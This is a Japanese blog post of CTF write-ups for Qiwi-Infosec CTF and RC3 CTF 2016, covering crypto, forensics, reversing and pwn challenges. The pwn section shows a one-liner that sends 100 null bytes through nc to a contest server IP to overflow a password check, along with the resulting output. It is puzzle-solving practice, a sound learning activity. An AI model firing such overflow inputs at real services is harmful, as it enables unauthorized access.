jtwp470’s blog

日記とかプヨグヤミングとか

週末のQiwi-Infosec CTFとRC3 CTF 2016 Writeup

週末Writeup. SECCONまであと20日を切ったので頑張りたいところ. CTFのWriteupをバラバラに書くとワチャワチャになるのでまとめて書いてしまいます.

Qiwi-Infosec CTFRC3 CTF 2016に参加していました.

結果はQiwi-Infosecは800 pt でちょうど100位, RC3の方は1300ptくらい.(競技終了後,スコアサーバーが落ちてるのでわからないw)

Writeupは続きからどうぞ.

Qiwi-Infosec CTF

最初の金土開催とかのCTFでした.珍しくフラグ形式が決まっていないので結構キツイ.

Rev 100

Pythonのpycファイルが渡されました.pycdcを使ってPythonコードに戻すとこんな感じに.

# Source Generated with Decompyle++
# File: snake.pyc (Python 2.7)
import marshal
import dis
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
code = marshal.loads(src)
exec code

codeの部分でPythonのdisモジュールでディスアセンブルしてコードを読むとやっているのはsyntから始まる文字列ROT13してただけ.syntでROT13ってことはflagじゃん!

flag = "synt:{wqE6fXuofa4XNu1}".decode('ROT13')

PPC 100_2

問題文忘れましたw 何かファイル名が数字でかつそのファイルには1文字入っています.素数のファイルの中身を読め.みたいな感じだった気がします.シェルのワンライナーでときました.

ls | factor | grep -E '[0-9]+: [0-9]+$' | sed -E 's/[0-9]+: //g' | xargs cat | awk '{ printf "%s", $1 }'

うーん 微妙なワンライナーw

RC3 CTF 2016

あまり問題の質がいいとは思えないCTFでしたね.後運営の対応がクソみたい.Web問はサーバーに繋がらないまたはレスポンスが返ってこない,返ってきても500などお粗末な感じだった.

とりあえず私はちょいちょい参加して1190 pt入れました.珍しく1000pt超え.

フラグフォーマットはルールに載ってるように RC3-2016で始まるらしいです.

Crypto

Salad 100

問題文からシーザー暗号ということが判明しました.あとは置換テーブルにアルファベットだけでなく,数字も加え何文字ローテートしてるかを自分で調べて動かすだけ.

>>> plain_table = string.ascii_uppercase + string.digits;
>>> "7sj-ighm-742q3w4t".upper().translate(str.maketrans(plain_table[16:] + plain_table[:16], plain_table))
'RC3-2016-ROMANGOD'

Flag: RC3-2016-ROMANGOD

Forensics

Some Pang - 50

ICMPパケットのやり取りが10万くらいあるPCAPファイルが渡されます.チームで話してみたところ,data部に怪しいデータが載ってるのでは?ということ.

ちなみにデータ部には, 414141.... みたいな感じで同じ2ビットのまとまりが大量にくっついていました.更に最終パケット等を読むと=で終わっています.何かBase64っぽいデータが載っている雰囲気を醸し出していますねw. そこでScapyで読み,適当に奇数パケットの2ビットを取り出し,文字列化すると画像ファイルが生み出されます.

f:id:jtwp470:20161121004040j:plain

(おっチームメンバーの1人が確認できる)

Flag: RC3-2016-PANG-ME-LIKE-ONE-OF-YOUR-FRENCH-GORILLAZ

そしてこれ50ptじゃない気がする

My Lil Droid - 100

APKファイルが渡されます.デコンパイルしてみると滅茶苦茶大量にJavaファイルが出てきます.しかし全然Flagを生成しているコードが見つかりません. VMで動かしてみようとするも動かずorz

諦めていましたが,普通にapkをunzipし,build-data.properties を覗いていみると怪しい文字列が.

UkMz-2016-R09URU0yMQ==

何かBase64っぽいw

Flag: RC3-2016-GOTEM21

糞問

Graphic Design - 200

ファイルを開くとスペースで区切られた数字と文字がいっぱい.どっかのCTFでみたことあるけど3Dデータを格納するデータ形式Blenderとかで開かないといけないのかなぁと思いきやMacのPreview.appで普通に開けた.強い!!

表面上には載っていないのでグルグルカメラを回しつつ内部にめり込んでみるとやっぱり中身にFlagが書かれていました.

f:id:jtwp470:20161121004628p:plain

Flag: RC3-2016-St3GG3rz

Dirty Birdy - 400

展開するとdtrump.imgというファイルが得られます.ドナルドトランプかな?

おもむろにfileコマンドを使ってファイルを判定すると

$ file dtrump.img
dtrump.img: ISO 9660 CD-ROM filesystem data 'CDROM'

でした.Macで普通にマウントしてみると色々ディレクトリがありますが,secretfilesというフォルダが見つかります.

 $ tree /Volumes/CDROM/secretfiles
/Volumes/CDROM/secretfiles
├── README.md
├── Workbook1.xlsx.gpg
└── document.txt

document.txtにはpassword123と書かれているだけ.使えないな Workbook1.xslx.gpgが怪しい.どうやらGPG秘密鍵で暗号化したもののように見えます.

はて.もう一度同じディレクトリを見ると, .gitが見つかります.

$ git status -s
 D private.key
?? README.md
?? Workbook1.xlsx.gpg
?? document.txt

private.keyが見つかりました.あとは適当に鍵を復元し,gpgコマンドで解読してみます.

$ gpg --import private.key
$ gpg --decrypt Workbook1.xlsx.gpg > Workbook1.xlsx

あとはExcelで開いてみましょう.するとパスワードを要求してきます.先程見つけたパスワードを打ってみると普通に開きました.あとはシート2枚めにFlagが載っています.

Flag: RC3-2016-SNEAKY21

Pwn

もともとRev 150となっていたのに気付いたらPwnに鞍替えしてた問題. 問題名は忘れてしまったのですが雰囲気的にはスタック上に何文字か格納されているのでそこと比較しているのかな?と思いきや単純にBOFして0x0と比較している部分をTrueにしちゃえばいいみたいな感じだった気がする.

f:id:jtwp470:20161122002305p:plain

なので適当に\x00を大量に送ってみたらFlagが出ました.

python -c 'print("\x00" * 100)' | nc -v 52.71.70.98 2091
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
        outif en0
        src 192.168.111.3 port 54019
        dst 52.71.70.98 port 2091
        rank info not available
        TCP aux info available

Connection to 52.71.70.98 port 2091 [tcp/prp] succeeded!
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

Flag: RC3-2016-STACKPWN

Reversing

Logmein - 100

鍵は"harambe"であとは謎の文字列とXORを取ってるみたいな感じ

>>> key = "harambe"; print("".join([chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(":\"AL_RT^L*.?+6/46")]))
RC3-2016-XORISGUD

Flag: RC3-2016-XORISGUD

Trivia

何か適当に問題文でググるとでてきたけど何が解答だったか忘れました.

最初の方,時間があってRC3を解きまくっていたのもあり最高順位35位まで行きましたが結局行き詰まり放置していたら100位以下になってしまった〜

あと今週のCTFは質があまり良くなかったなと言う感じです.

f:id:jtwp470:20161122002520p:plain

更に言うと自宅の録画サーバーのHDDが飛びましてCTFしながら自宅のHDDからデータを復活させ何とか再構築するという大変な思いをしていましたが構築記もブログにしておきたいですね.